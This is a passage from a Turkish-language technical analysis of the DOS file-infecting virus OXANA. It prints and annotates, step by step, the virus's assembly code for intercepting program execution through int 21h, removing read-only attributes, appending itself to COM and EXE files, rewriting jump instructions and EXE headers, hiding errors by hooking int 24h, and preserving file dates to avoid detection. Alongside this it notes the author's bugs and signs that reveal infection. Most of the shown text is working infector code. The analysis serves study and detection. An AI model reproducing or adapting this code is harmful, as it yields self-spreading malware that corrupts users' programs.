jmp    near ?      ; ?????????????????


4.2 Bulaşma...

Bulaşma Bulaşmaya hazılıkla başlıyor. Daha sonra EXE dosyaya ya da COM dosyaya bulaşma yapılıyor.  Bulaşma kodundan çıkış aynı yerden gerçekleşiyor ve bulaşılan programı çalıştırmak üzere kontrol int 21h'e veriliyor.


4.2.1 Bulaşmaya hazırlık

Bulaşmaya hazırlık bölümünde virüs int 24h vektörünü kendi fonksiyonuna yöneltiyor, dosyanın salt okunur özelliğini kaldırıyor, ilk 24 byte'ını okuyor, fıle pointer'ı dosyanın sonunda bırakıyor ve dosyanın EXE ya da COM olmasına karar vermesine göre gerekli bulaşma koduna atlıyor.

Buradaki kod virüsün bulaşma koduna giriş ve işletim, int 21h fonksiyon 4B00h ile bir program çalıştırılmak istendiğinde buraya geliyor. Bu nedenle bu koda girişte DS:DX çalıştırılmak istenen programın ASCIZ adını, ES:BX'de çalışma parametre bloğunu gösteriyor.

Herhangi bir iş yapan bir kesilme fonksiyonunun normal olarak yapacağı gibi önce yazmaçlar saklanıyor. (Aslında eğer program, işletim eski int 21h koduna verilip, çalıştırılmayacak olsa buna gerek yok, çinkü 4B00h ile hiçbir yazmaç saklanmıyor. Yani zaten bu fonksiyonu çağıran program hiçbir yazmacın değişmeyeceğine güvenerek çalışmayacaktır.)

HANDLE4B:

push   ax        ; yazmaç değerlerini sakla

push   bx

push   cx

push   dx

push   ds

push   es

push   di

push   si

Daha sonra int 24h'in vektörü yöneltilerek, bu vektör tekrar eski haline getirilene kadar, virüsün bulaşma işlemleri sırasında oluşabilecek bir kritik hatanın kullanıcıya yansımaması sağlanıyor.

call   SET_24H  ; bu komutu seçerek SET_24H prosedürünü görebilirsiniz.

Şimdi de dosyanın read only özelliğini kaldıran prosedür çağrılıyor ancak bu prosedürün kodundaki gariplik gibi burada da ilginç bir işlem yapılıyor. Dosya özelliği değiştirilene kadar prosedür tekrar tekrar çağrılıyor. Özelliği değiştirilemeyen bir dosyanın bir dahaki denemede özelliğinin değiştirilebilmesi için bir neden yok. Sonuç olarak dosya özelliği değiştirilemeyen bir dosyayla karşılaşıldığında sistem burada kilitleniyor.

CALL_ZRO:

call   ZERO_ROA	; Read only attr kapatılıyor, hatada CF=1

jc     CALL_ZRO	; Değiştirilene kadar tekrar dene

Dosya, yazma ve okuma modunda açılıyor ve EXE_SIGN ofsetinden itibaren 24 byte okunuyor. EXE dosya için EXE başlığı okunmuş oluyor, virüs COM dosyanın sadece ilk üç byte'ını değiştirmesine rağmen COM dosyanın da ilk 24 byte'ı okunmuş oluyor. Dosyanın burada açılması ve okunması gerekli çünkü dosyanın EXE ya da COM olmasına göre gerekli bulaşma koduna atlanması gerekiyor. Bu ayrımı yapmak için sadece iki byte okunabilirdi, ama o zaman EXE dosyaya bulaşma kodu ayrıca 22 byte, COM dosyaya bulaşma kodu ayrıca 1 byte okumak zorunda kalırdı. Bir okuma ile okuma işlemi hızlandırılıyor. Ayrıca iki bulaşmaya da ortak olarak bu kodun çıkışında verilen giriş değerleri var. Dosya açma ve okuma komutlarında bir özellik yok:

mov    ax,3D02h ;  Yazma ve okuma modunda dosya

int    21h	;  aç DS:DX->ASCIZ dosya ismi

xchg   bx,ax	; BX = file handle ya da hata kodu

; Hata kontrolü yok

push   cs

pop    ds	; DS = CS

mov    ah,3Fh	; dosyadan oku

mov    dx,EXE_SIGN-VIRSTART  ; EXE_SIGN ofsetinden...

mov    cx,18h	: 18h (24) byte

int    21h

Virüs iki tür bulaşma için de fıle pointer'ı dosya sonuna alıyor. Böylelikle DX:AX'e dosya uzunluğunu yüklemiş oluyor. Bu arada BX'e tekrar fıle handle değeri yüklenmiyor, bu da optimize edilmiş programlarda sık rastlanan bir durum ve virüs bundan sonra da BX değerinin değişmediğini varsayıyor..

xor    cx,cx	; CX = 0

xor    dx,dx	; DX = 0

mov    ax,4202h	; file pointer dosya sonuna gönderiliyor

int    21h	; DX:AX dosya uzunluğu ya da CF=1 ise hata

; Hata kontrolü yapılmıyor

Son olarak dosyanın EXE mi COM mu olduğuna dosyadan okunan ilk iki byte'ta EXE imzası aranarak karar veriliyor.

cmp    word ptr [EXE_SIGN-VIRSTART],5A4Dh

jne    COM_INFECT	; imza bulunursa EXE'ye bulaşmaya atla

jmp    EXE_INFECT	; yoksa COM'a bulaşmaya atla

Burada virüsün atladığı bir nokta, Intel'in garip byte sıralaması nedeniyle bazı EXE dosyalarda imzanın MZ yerine ZM olarak belirtildiği gerçeği.  Bu yanlış imzalı dosyalar COM işlemi görüyor, eğer uzunlukları da 55000 byte'tan az ise bu tür EXE dosyalar virüs bulaştıktan sonra doğru olarak çalışmayacaktır.


4.2.2 COM dosyaya bulaşma

İşletim buraya geldiğinde bulaşılacak dosya açık, fıle pointer dosya sonunu gösteriyor, DX:AX'te dosya uzunluğu var ve DS=CS. Ayrıca EXE_SIGN ofsetinden itibaren dosyanın ilk 24 byte'ı okunmuş durumda.

İlk olarak dosya uzunluğunun bir COM dosya için imkansız olan 64k'dan büyük olması durumu ve sonra bulaşmanın tehlike yaratabileceği dosya uzunluğunun 55000 byte'tan uzun olma durumu kontrol ediliyor. Bu durumlarda bulaşma yapılmadan programı çalıştırmak üzere eski int 21h adresine atlama yapılmak üzere atlama yapılıyor. Bu uzunluk kontrollerinin iki defada yapılmasının nedeni 32 bit dosya uzunluğunun iki yazmaç içerisinde gelmesi...

COM_INFECT:

cmp    dx,0000	; Dosya boyu> 64k?

ja     CLEANEXIT	; öyleyse bulaşma yapma

cmp    ax,D6D8h	; Dosya boyu>55000?

ja     CLEANEXIT	; öyleyse bulaşma yapma

İlk kontrolleri yapan virüs şimdi de dosyaya daha önce bulaşıp bulaşmadığını anlamaya çalışıyor. Bunun için dosyanın ilk üç byte'ında bulmayı beklediği yakın JMP komutunun dosyanın sonundan 561 byte öncesini gösterip göstermediğini kontrol ediyor.  Eğer daha önce bulaşmış olduğuna karar verirse yeniden bulaşma kodu işletilmiyor. (komutun ilk byte'ı kontrol edilmiyor.)

push   ax	; AX'i sakla, bulaşırken lazım

add    ax,-564	;  561+3 byte JMP komutu uzunluğu

cmp    [EXE_SIGN+1-VIRSTART],ax ; JMP komutun ofset değeri ile karşılaştır.

pop    ax	; AX'i koşullu atlamadan önce geri al

je     CLEANEXIT  ; eşitse yeniden bulaşma yapma

Bu tür hesaplamalara alışık olmayanlar için yukarıdaki ikinci komutu biraz daha açalım. AX değerinden 564 sayısı çıkartılıyor. AX'te dosya uzunluğu var. (DX'in COM dosya için 0 olma gereği kontrol edilmişti, dosya 55000 byte'tan kısa...) Virüs, JMP komutunun dosya sonundan 561 byte önceye atlama yapıp yapmadığını kontrol etmek istiyor. Komutun içerisindeki değer segment içerisinde göreceli ve 0 değeri bir sonraki komutun adresine atla anlamına geliyor. Bu durumda 3 byte tutan yakın JMP komutunun tuttuğu yer de dosya uzunluğundan 561 byte virüs uzunluğuna ek olarak çıkartılıyor. Çıkartma işlemi için nedense SUB komutu yerine ADD (-) kullanılmış.

Biraz önceki işlem sonrası AX eski değerini (dosya uzunluğu) koruyor. Şimdi virüs, COM dosyanın başına yazacağı üç byte'lık JMP komutunu hazırlıyor. Komut (ilk byte) zaten hazır durumda, komutun ofset değeri dosya uzunluğundan 3 çıkartılarak bulunuyor ve yerine yazılıyor.

add    ax,-3	; AX = dosya uzunluğu - 3

mov    [JMPOFS-VIRSTART],ax	; JMP komutu hazırlanıyor

JMP komutu hazırlandı, ancak fıle pointer hazır dosya sonunu gösterirken virüs 0 ofsetinden itibaran kendisini (561 byte) dosyanın arkasına ekliyor.

xor    dx,dx	; DS:0 (CS:0)'dan itibaren

mov    cx,231h	; 231h (561) byte

mov    ah,40h	; dosyaya yaz

int    21h	; dosya sonuna 561 byte ekle

Virüs koduna yapılacak JMP komutunu yazmak üzere file pointer dosya başına alınıyor.

xor    cx,cx

xor    dx,dx

mov    ax,4200h   ; file pointer dosyanın en  başına

int    21h

Üç byte'lık virüs koduna yakın JMP komutu dosyanın ilk üç byte´ına yazılıyor.

mov    dx,JMPTOV-VIRSTART  ; buffer CS:22A

mov    cx,0003	; 3 byte (JMP komutu)

mov    ah,40h	; dosyaya yaz

int    21h

Dosyanın arkasına eklenen virüs kodu içerisinde COM dosyanın ilk dört byte'ı bulunduğu için dosyanın ilk üç byte'ının üzerine yapılan bu yazma işlemi bilgi kaybına neden olmuyor ve daha sonra virüs bu üç byte'ı yerine koyarak programın çalışmasını sağlayabiliyor.

Böylelikle COM dosyaya bulaşma işlemi bitmiş oluyor. İşletim sonunda eski int 21h vektörüne atlamak üzere dosya tarihinin değişmemesini sağlayarak devam ediyor.


4.2.3 Temizlik ve eski int 21h'e atlama

Virüs bu bölümde açık dosyayı kapatıyor, dosya tarihinin değişmemesini sağlıyor, int 24h vektörünü eski haline getiriyor ve yazmaç değerlerini de eski haline getirip virüsten önceki int 21h vektörüne atlamayı sağlıyor. Bu bölüm COM programa bulaşmadan sonra program akışı içerisinde, EXE programa bulaşmadan sonra, ve bulaşma yapılmamasına karar verilen durumlarda atlama yapılarak çalıştırılıyor. Sonuç olarak virüsün fonksiyon 4B00h'dan çıkışı buradan oluyor.

CLEANEXIT:	; EXE ve COM dosyalara bulaşma için ortak çıkış

Önce dosya gün ve saati okunup tekrar yazılarak dosya tarihinin değişmemesi sağlanıyor.

mov    ax,5700h ; dosya gün/saatini  DX/CX'e al

int    21h

mov    ax,5701h ; DX/CX'ten dosya gün/saatini yaz

int    21h

Açık olan dosya kapatılıyor.

mov    ah,3Eh	; dosyayı kapat (BX=handle)

int    21h

int 24h vektörü eski haline getiriliyor. Bu noktadan sonra oluşabilecek bir kritik hata yok zaten.

call   RES_24H	; int 24h vektörünü eski haline getir

Yazmaçlar yığıttan alınarak eski değerlerine getiriliyor.

pop    si	; Yazmaçlara eski değerlerini yükle

pop    di

pop    es

pop    ds

pop    dx

pop    cx

pop    bx

pop    ax

Bayraklar eski haline getirildikten sonra int 21h vektörünün eski haline FAR JMP bulunan koda yakın bir atlama yapılarak int 21h'in 4B00h fonksiyonunu yapması sağlanıyor.

jmp    JMPOLD21	; orjinal int 21h adresine atlamak

; üzere atla.


4.2.4 EXE dosyaya bulaşma

İşletim buraya geldiğinde bulaşılacak dosya açık, fıle pointer dosya sonunu gösteriyor, DX:AX'te dosya uzunluğu var ve DS=CS. Ayrıca EXE_SIGN ofsetinden itibaren dosyanın ilk 24 byte'ı okunmuş durumda.

Virüsün burada ilk yaptığı dosyaya daha önce bulaşıp bulaşmadığını anlamaya çalışmak. Bunun için EXE başlığındaki ilk IP değeri kontrol ediliyor. Eğer 0 ise virüs bu dosyaya daha önce bulaştığını varsayıp, bulaşma yapmıyor. İlk bakışta bu kontrolün rastlantısal olarak 64k'da bir olasılık yanlış teşhise neden olduğu düşünülebilir. Oysa buradaki durumun iki sonucu var: Birincisi ilk IP=0 durumu, aynen bu virüsün yaptığı gibi, virüs yapısındaki programlarında ortaya çıkartabileceği bir sonuç. Örneğin çalıştırılabilir sıkıştırma yapan DIET 1 ile sıkıştırılmış tüm dosyalarda ya da EXE haline getirilmiş sıkıştırılmış LHA arşivlerinde de bu değer 0 olacaktır. (OXANA, DIET ile sıkıştırılmış programlara bulaşmayacaktır.) Yani yanlış teşhis olasılığı o kadar az değil. İkincisi ilk IP=0 durumu virütik bir yapıya işaret edebildiği için, OXANA, benzeri başka virüslerin halihazırda bulaşmış olduğu programlara bulaşmayarak farkedilme olasılığını diğer virüsünkinden bağımsız kılacaktır.

EXE_INFECT:

cmp    word ptr [INIT_IP-VIRSTART],0	; ilk IP==0?

je     CLEANEXIT             ; öyleyse bulaşma yapma

Daha sonra virüs bulaşırken değiştireceği, ancak programı tekrar çalıştırmak için ihtiyaç duyacağı EXE başlığı verilerini ilk 561 byte içerisindeki değişkenlere kopyalıyor. Burada neden ilk 561 byte içerisinde bu iş için ayrıca değişkenler tanımlandığı aklınıza takılmış olabilir. Bu değişkenler yerine, virüs bulaşırken, dosyaya EXE_SIGN ofsetinden itibaren sadece 4 byte kopyalayacağına, tüm EXE başlığını kopyalayamaz mı? Hayır. Çünkü EXE_SIGN ofsetinden itibaren okunmuş olan EXE başlığı birazdan yeni değerle doldurulup, dosyanın başına yazılarak işletimin ilk olarak virüse geçmesi sağlanacak... İşlem yapılırken kullanılan AX yazmacı değeri önce saklanıyor sonra eski haline getiriliyor.

push   ax	; AX'i sakla

mov    ax,[INIT_IP-VIRSTART]	; AX = ilk ip

mov    [ORIG_IP-VIRSTART],ax

mov    ax,[INIT_CS-VIRSTART]	; AX = ilk cs

mov    [ORIG_CS-VIRSTART],ax

mov    ax,[INIT_SS-VIRSTART]	; AX = ilk ss

mov    [ORIG_SS-VIRSTART],ax

mov    ax,[INIT_SP-VIRSTART]	; AX = ilk sp

mov    [ORIG_SP-VIRSTART],ax

pop    ax          ; AX=low word (dosya uzunluğu)

Şimdi pek çok EXE virüsünde karşımıza çıkan dosya uzunluğunun 16'ya bölünebilir yapılmasıyla karşı karşıyayız. Virüsler bunu niye yaparlar? Dosya uzunluğu 16'ya bölünebilir olduğu zaman virüs, dosyanın arkasına eklendiğinde, sadece CS değeriyle belirtilebilecek bir adrese yerleşmiş olacak ve böylelikle yine IP=0 ya da IP=100h mümkün olacak. Segmentler paragraf sınırlarında olmak zorunda olduğu için virüsün de eğer bir segmenti olacaksa bu segment de 16'ya bölünebilir bir uzunluktan başlamak zorunda.

Daha önce adresleme konusuna değinmiştik. Nitekim, virüsün programın bir parçası olarak çalışan bölümünde adreslemeler BP+...-NEXTADRS şeklinde yapılmak zorunda kalınıyordu. Çünkü virüs dosya uzunluğuna bağlı olarak herhangi bir ofsette çalışıyor olabilirdi ve verilerine ulaşmak için bildiği bir adres değerine ihtiyacı vardı. Virüsün bellekte çalışan kısmında ise, yerleşilen adres belli olduğu için (0), buna göre virüsün 0 adresine yerleşecek ofsetini diğerlerinden çıkartarak adresleme yapılıyordu. Örneğin, yukarıdaki gibi ORIG_SP-VIRSTART... Adres hesaplamalarında kolaylık yaratan RETF ile virüs segmentine atlanmadığı sürece aslında bu 16 byte'a bölünebilirlik çok gerekli değil. Virüs dosya uzunluğunun 16'ya bölündüğünde artanına göre IP değerini belirleyebilir ancak adreslerine erişebilmek için bu değeri de saklamak ve her adrese erişiminde kullanmak zorunda kalır. Aslında bu da POP edilen BP değerine bir toplamadan başka birşey gerektirmez ya... (Segment değeri bir düşük olacaktır ve tabi ki bu veriye ulaşım daha önce mümkün olmayacağı için komut direkt olarak değiştirilmek zorunda kalınacaktır.) Sonuçta virüslerin çoğu burada kolay ve kısa yolu seçiyorlar...

İlk IP=0 durumu ise, tercih edilmesine karşın yarattığı kolaylık fazla değil ve her zaman kullanılmıyor.

Dosya boyu 16'nın katı yapılırken virüsün algoritması ilk başta akla gelenden değişik. Siz de dosya boyunun 0 ile 15 byte arasında uzaması gerekeceğini düşünüyor olabilirsiniz. Ancak virüs burada hesaplama kolaylığı adına önce dosya boyunu 16 byte uzatıyor, sonra artanı atıyor. Böylelikle 16'ya zaten bölünebilir dosyaların boyları 16 byte artıyor. Sonuçta artma 1 ile 16 byte arasında oluyor.

add    ax,10h	; AX += 16

adc    dx,0	; CF durumunda high word'ü arttır

and    ax,FFF0h	; AX paragraf sınırına ayarlandı

Yeni dosya uzunluğu iki kere yığıta konuyor, daha sonra gerekecek...

push   ax

push   dx

push   ax

push   dx

Şimdi virüs dosyanın boyunu hesapladığı değere getirmek için file pointer'ı dosya başından itibaren hesapladığı uzunluğa getiriyor. Dosya boyu uzuyor ve dosya sonuna 'çöp' byte'lar eklenyor.

mov    cx,dx

mov    dx,ax

mov    ax,4200h

int    21h	; File pointer hesaplanan DX:AX'te

; ve dosya boyu 16'ya bölünebilir oldu

Virüs yeni dosya boyunu yığıttan alıyor. (yığıtta bir tane kaldı)

pop    dx

pop    ax

Şimdi virüsün EXE başlığına yazmak üzere hesaplaması gereken iki şey var. Birincisi, dosya boyu değiştiği için bununla ilgili yeni değerler hesaplanmalı. İkincisi, kontrolü virüse vermek üzere yeni CS:IP ve virüsün kullanımı için yeni SS:SP değerleri belirlenmeli...

İlk olarak EXE başlığındaki sayfa sayısı ve yarım sayfadaki byte sayısını içeren bilgiler hesaplanıyor. Şu anki dosya boyuna 561 byte eklenerek, en son dosya boyu bulunuyor.

add    ax,231h	; AX = low word (en son dosya uzunluğu)

adc    dx,0	; DX = high word (en son dosya uzunluğu)

Tam sayfa sayısının hesaplanması için dosya uzunluğu 512'ye bölünüyor. (1 sayfa  = 512 byte)

mov    cx,200h	; cx = 512

div    cx	; AX = DX:AX / CX = tam sayfa sayısı

; DX = kalan  = yarım sayfa uzunluğu

EXE başlığındaki sayfa sayısı, yarım kalmış sayfayı da içerdiği için, önce bir yarım sayfanın olup olmadığı kontrol ediliyor. Eğer dosya boyu 512'nin katıysa yarım sayfa yok demektir. Eğer yarım sayfa varsa toplam sayfa sayısı bir arttırılıyor.

or     dx,dx      ; DX==0?

je     DONTINC

inc    ax         ; toplam sayfa sayısı +=1

DONTINC:

Hesaplanan değerler, dosyadan okunan EXE başlığındaki yerlerine, dosyaya geri yazılmak üzere kopyalanıyor.

mov    [LATSPAGE-VIRSTART],dx  ; yarım sayfa uzunluğunu yaz

mov    [ALLPAGES-VIRSTART],ax  ; toplam sayfa sayısını yaz

Tekrar 16'ya tam bölünebilir olarak hesaplanmış dosya uzunluğu (virüs hariç uzunluk) yığıttan alınıyor.

pop    dx

pop    ax	; DX:AX = 16'ya bölünebilen

; virüs hariç dosya uzunluğu

Bu dosya uzunluğu 16'ya bölünüyor. Böylelikle dosya uzunluğu paragraf cinsinden bulunmuş oluyor. Virüs tam bu uzunluğun sonundan itibaren dosyaya ekleneceği için bu değer CS hesaplamasında kullanılacak.

mov    cx,4

SHRRCR:

shr    dx,1       ; DX:AX , 16'ya bölünüyor

rcr    ax,1

loop   SHRRCR

EXE başlığındaki CS değeri, EXE başlığı uzunluğunu içermediği için bu değer (paragraf cinsinden EXE başlığı uzunluğu), bulunan (paragraf cinsinden virüs hariç dosya uzunluğu) değerden çıkartılıyor ve virüsün çalışabilmesi için ilk CS değeri bulunuyor.

sub    ax,[SIZEHEAD]	; AX -= EXE başlığı uzunluğu. (=ilk CS)

sbb    dx,0	; ???

Bakın virüs yazarı SBB kullanarak 32 bitlik dosya uzunluğu üzerinde, tabi 16'ya bölündüğü için şimdi sadece en fazla 28 bit'i dolu, işlem yaptığını unutmamış. Ancak eğer zaten DX içerisinde bir değer kalmışsa hesapladığı CS değeri de çalışmayacak demektir. Nitekim, DX hiç kullanılmadan biraz sonra sıfırlanacak... İlk CS değeri EXE başlığı içerisinde paragraf olarak tanımlandığı için 20 bit'ten fazlasını adresleyemeyecektir. Bu da EXE dosya boyunun, dosya boyları işaretli 32 bit, yani 31 bit ile tanımlanmasına karşın, aslında 20 bit'ten fazla olamayacağını gösteriyor. 20 bit, 1MB demek ve zaten 8086 için yazılmış DOS altında bu kadar olmasa bile, diyelim 640k uzunluğunda bir çalıştırılabilir program pek fazla çalışabilecek bellek bulamayacaktır. Genelde çok uzun EXE dosyalar Overlay'leri arkasına eklenmiş dosyalardır, ya da tabi, eskiyle uyumlu yeni tür EXE başlığı sahibi Windows, Windows NT ya da OS/2 programlarıdır. Bu dosyalarda EXE başlıklarındaki uzunluk, disk üzerindeki uzunluklarından kısa olacaktır ki yüklenebilsinler. Özellikle Windows programları başlarında kısa bir mesaj verecek bir 'stub' exe program barındırıyorlar. Böyle durumlarda (eski)EXE başlığı, dosya uzunluğu ne olursa olsun, 2-3k'lık bir program uzunluğu tanımlayacaktır.

İşte bu nedenle burası OXANA'nın en düşüncesiz bölümü. Eğer şu anda DX yazmacının değeri 0'a eşit değilse zaten bulaşılan program çalışmaz hale gelecektir. Diğer durumlarda da programı yüklemek için bellek yetersizliğiyle karşılaşılabilir ve virüs temizlenmedikçe bu tür dosyalar çalışmaz hale gelebilir. Başlangıçta EXE başlığındaki ve disk üzerindeki uzunluklar karşılaştırılmalı ve gerekirse bulaşma yapılmamalıydı. (Ancak belirtmemeiz gerekir ki EXE başlığındaki uzunluklar bazen de yanlış hesaplanarak yazılmış olabiliyor...)

CS'yi hesaplayan virüs bu değeri ve CS=SS olarak çalışacağı için SS değerini bellekte EXE başlığını sakladığı yere yazıyor. Normalde bir EXE dosyada CS değeri SS değerine eşit olmaz. Bu durum burada olduğu gibi karşımıza hem EXE hem de COM programları hedef almış virütik yapılarda ortaya çıkıyor. EXE dosyada SS=CS durumu bir sıkıştırma programından, bir virüs koruyucu aşı programından ya da bir virüsten kaynaklanıyor olabilir. Yine de bu duruma dikkat etmekte ve virüsten şiphelenildiğinde bir kere kontrol etmekte yarar var.

mov    [INIT_SS-VIRSTART],ax	; ilk SS değeri yazılıyor

mov    [INIT_CS-VIRSTART],ax	; ilk CS değeri yazılıyor

Kendisinin paragraf sınırından yükleneceğini de garantilediği için EXE başlığında ilk IP değerine 0 yazıyor. İlk SP değerine ise herhalde bir yerlerde hesapladığı (561 byte virüs uzunluğu+dosyaya yazılmayan veri alanı+STACK) değerini yazıyor. ilk SP=841 (tanıdık bir sayı) yani yığıt için ayrılan bölge 256 byte olarak hesaplanmış.

(Daha önce DOS'tan fazla çalınan belleğin nedenini bulduk gibi. Tahmin ettiğimiz gibi yığıt değeri de gereksiz yere bellekten çalınmış. Herhalde, virüs yazarının yığıt segment ve ofset değerini kendisi değiştirmedikçe değişmeyeceğinden, virüsün int 21h kodu içerisinde kesilmeyi çağıran programın yığıtının kullanılacağiından haberi yokmuş, yazar bellekteki virüsün yasal PSP'li bir program değil de bir kaçak olduğunu aklına getirmemiş... Konuyu iki soruyla biraz daha açalım. Bellekte yerleşik virüs kendi içerisinde de int 21h kullanıyor, bu durumda kendisine ait bir yığıt gerekmez mi? Hayır, çünkü SS:SP değerleri değiştirilmiyor ve 4Bh fonksiyonunu çağıran programın yığıtı kullanılıyor, daha sonra int 21h DOS kodu kendi yığıtına geçiyor. Peki, örneğin int 8h ya da int 9h asenkron olarak virüs kodunu böldüğünde? Cevabımız aynı ancak zaten virüs INT komutuyla aktif olduğundan virüs kodu işletilirken bu kesilmeler maskelenmiş olacaktır.)

Bir de, EXE dosyalar için, COM dosyalar için yaptığı gibi belli bir uzunluk kontrolü yapmadığı için, virüsün gerekli yığıt alanı olmaması durumlarında sistemi büyük olasılıkla kitleyeceği ortaya çıkıyor.

mov    word ptr [INIT_SP-VIRSTART],349h ; ilk SP değeri yazılıyor

mov    word ptr [INIT_IP-VIRSTART],0	; ilk IP değeri yazılıyor

Buradan sonra yapılan iş COM dosya için yapılan bulaşmaya benziyor. Önce dosyanın arkasına 561 byte virüs ekleniyor.

xor    dx,dx	; DS:DX (=CS:0)'dan itibaren

mov    cx,231h	; 231h (561) byte

mov    ah,40h	; dosyaya yaz

int    21h

Sonra file pointer dosya başına gönderiliyor ve 24 byte yeniden hesaplanmış EXE başlığı dosyanın başına yazılıyor.

mov   ax,4200h

xor    cx,cx	; CX = 0

xor    dx,dx	; DX = 0

int    21h	; file pointer dosyanın en başına

mov    cx,18h	; 18h (24) byte

mov    dx,EXE_SIGN-VIRSTART  ; EXE_SIGN'dan itibaren

mov    ah,40h	; dosyaya yaz

int    21h

Bulaşmayı bitiren virüs, programı işletmesi için eski int 21h vektörüne atlamaya giden yolda dosya tarihinin değişmemesini sağlayacak koda atlıyor.

jmp    CLEANEXIT

Bu bulaşma sırasında dikkat çeken bir nokta da yarım sayfa uzunluğu bilgisinin kaybolmuş olması. Bu bilgi virüs dosyaya kopyalanmadan önce hesaplanıp yazıldığı için virüsün son word'ündeki bilgi, virüslü dosyayı eski haline getirmek istediğimizde işimize yaramıyor. Ne yazık ki, virüs temizlenmek istendiğinde bu nedenle EXE dosyanın tümüyle eski haline gelmesi için yeterli bilgi yok. Dosyaya 1 ile 16 arasında kaç byte eklendiği bilinemiyor. Uzunluğu 16'ya bölünebilir yapmak için az 1 byte eklendiği için bu byte da çıkartılabilir. Ancak bu sadece orjinal uzunluğu 16'ya bölündüğünde 15 kalanı veren dosyaların eski hallerine döneceklerini gösteriyor...


5.0 Yardımcı prosedürler...

Bu bölümde virüs bulaşma işlemi gerçekleştirirken kullanılmak üzere birkaç prosedür bulunuyor.

5.1 Dosyanın salt-okunur özellğini kaldır

Bu prosedür dosyanın salt-okunur (Read-only) özelliğini kaldırmaya çalışıyor. Dosyaya bulaşmadan önce bu prosedürü çağıran virüs böylelikle bu özelliğin kendisine karşı bir koruma önlemi olmasını engelliyor.

5.2 int 24h prosedürleri...

Bu bölümdeki prosedürler yardımıyla virüs bulaşma sırasında oluşabilecek bir kritik hata dolayısıyla farkedilmesini engelliyor.

5.2.1 int 24h vektörünü sakla ve kendi koduna yönelt

Burada eski int 24h (kritik hata kesilmesi) vektörü saklanıyor ve bu kesilme 5.2.3 bölümündeki int 24h prosedürüne yöneltiliyor.

5.2.2 int 24h vektörünü eski haline getir

Bulaşma işini tamamlayan virüs, eski int 21h adresine atlamadan önce değiştirdiği int 24h vektörünü eski haline getiriyor.

5.2.3 int 24h kodu

Tüm kritik hatalara 'ignore' cevabı veren kısa bir kesilme prosedürü.


5.1 Dosyanın salt-okunur özelliğini kaldır

Dosyaları salt okunur yapmanın virüslere karşı bir önlem olma özelliği her geçen gün azalıyor. Oxana da aşağıdaki prosedür yardımıyla bulaşmak üzere olduğu dosyanın bu özelliğini kaldırıyor.

ZERO_ROA proc near

mov    ax,4300h	; Dosya özellikleri CX'e alınıyor

int    21h

and    cl,0FEh	; Read only bit'i sıfırlanıyor

mov    ax,4301h    ; CX'teki özellikler dosyaya veriliyor

int    21h

jc     SET_CFR    ; Eğer hata varsa atla,

ret	; yoksa geri dön

SET_CFR:

stc	; CF = 1

ret	; geri dön

ZERO_ROA endp

Dosya özelliğinin değiştirilmesi normal int 21h yoluyla yapılıyor. Bu prosedürde dikkat çeken iki nokta var. Birincisi, dosyanın eski salt-okunurluk durumu saklanmıyor, yani virüsün dosya özelliğini eski haline getirmeye niyeti yok gözüküyor ki, gerçek de böyle. İkincisi, garip bir şekilde kod uzatılmış ve zaten taşma bayrağı CF ile gelen hata durumunda, taşma bayrağı 1 olduğu halde tekrar set edilmiş (1 yapılmış). Bunun neden böyle olduğu hakkında programcının bilgisiz olması olasılığı dışında aklımıza gelen bir şey yok (Belki de biz daha bilgisiziz, bu işlemin nedenini anlayabildiyseniz lütfen bize bildirir misiniz?). Ayrıca bu kodun prosedür olarak yazılması da gereksiz.

Virüs, Read only özelliğine sahip dosyalara da bulaşabiliyor, ancak bu özellik enfekte olan dosyadan kaldırılıyor. Salt okunur bir çalıştırılabilir dosyanın bu özelliğinin 'kendiliğinden' kalkması virüsün bir belirtisi.


5.2 int 24h prosedürleri...

Virüs int 21h fonksiyon 4Bh alt fonksiyon 00h içerisinde çalıştırılan programa bulaşırken oluşabilecek kritik hataların kullanıcıda şüphe uyandırmaması amacıyla, bulaşmadan önce kritik hata kesilmesi vektörünü kendi int 24h koduna yöneltiyor, programı çalıştırması için int 21h eski adresine atlamadan önce de bu vektörü eski haline getiriyor.

Virüsün int 24h kritik hata kesilme fonksiyonu bütün hatalara 'ignore' yani boşver değeri döndürerek ekrana 'Abort, Retry, Fail?' gibi bir mesajın ya da yazma koruması açık disketlerde dosyaya yazılamadığına dair bir mesajın çıkmasını engelliyor.


5.2.1 int 24h vektörünü sakla ve kendi koduna yönelt

Aşağıdaki prosedür bulaşma işleminden önce çağrılıyor ve int 24h kesilmesini virüsün kesilme fonksiyonuna yöneltiyor.

SET_24H proc near

push   dx	; kullanılan yazmaçlar saklanıyor

push   ds

push   cs

pop    ds	; DS = CS

mov    ax,3524h

int    21h	; int 24h adresi ES:BX'e alınıyor

mov    [OFS24-VIRSTART],bx	; şu anki adres saklanıyor

mov    [SEG24-VIRSTART],es

mov    ax,2524h

mov    dx,INT_24H-VIRSTART	; int 24h vektörü INT_24H

int    21h	; prosedürüne yönlendiriliyor

pop    ds	; kullanılan yazmaç değerleri

pop    dx	; eski haline getiriliyor

ret

SET_24H endp

Eski vektörü saklamak için kullanılan alan bulaşmalarda dosyaya yazılmayan bölge içerisinde kalıyor. 'Yasal' int 21h fonksiyonları kullanılarak eski adres alınıyor, saklanıyor ve vektör yöneltiliyor. Oldukça normal bir kod dizisi...


5.2.2 int 24h vektörünü eski haline getir

Aşağıdaki prosedür bulaşmadan sonra int 21h eski adresine atlanmadan önce çağrılıyor ve int 24 vektörü eski haline getiriliyor:

RES_24H proc near

push   cs

pop    ds	; DS = CS

mov    ax,2524h

lds    dx,[OFS24-VIRSTART]	; DS:DX = eski int 24h vektörü

int    21h	; int 24h vektörü eski haline getiriliyor

ret

RES_24H endp


5.2.3 int 24h kodu

Aşğıda virüsün oldukça kısa ve her hataya 'ignore' cevabı döndüren int 24h kesilme fonksiyonu görülüyor:

INT_24H proc

mov    al,0

iret

INT_24H endp

Bu fonksiyonla beraber virüsün kod bölümü sona eriyor ve verileri sakladığı bölüm başlıyor.


6.0 Virüsün veri bölgesi

Virüsün değişkenlerini ikiye ayırabiliriz. Birinci kısmı, programların başında çalışan virüs kodu tarafından işletimin programa verilmesi için kullanılanlar. Bu kısım virüs bulaşırken, virüsün bir parçası olarak ilk 561 byte içerisinde enfekte edilen programa kopyalanıyor. İkinci kısım değişkenler sadece bellekte yerleşik virüs kodu tarafından kullanılıyor. Virüsün bu amaçla 561 byte dışında 24 byte alana ihtiyacı var.

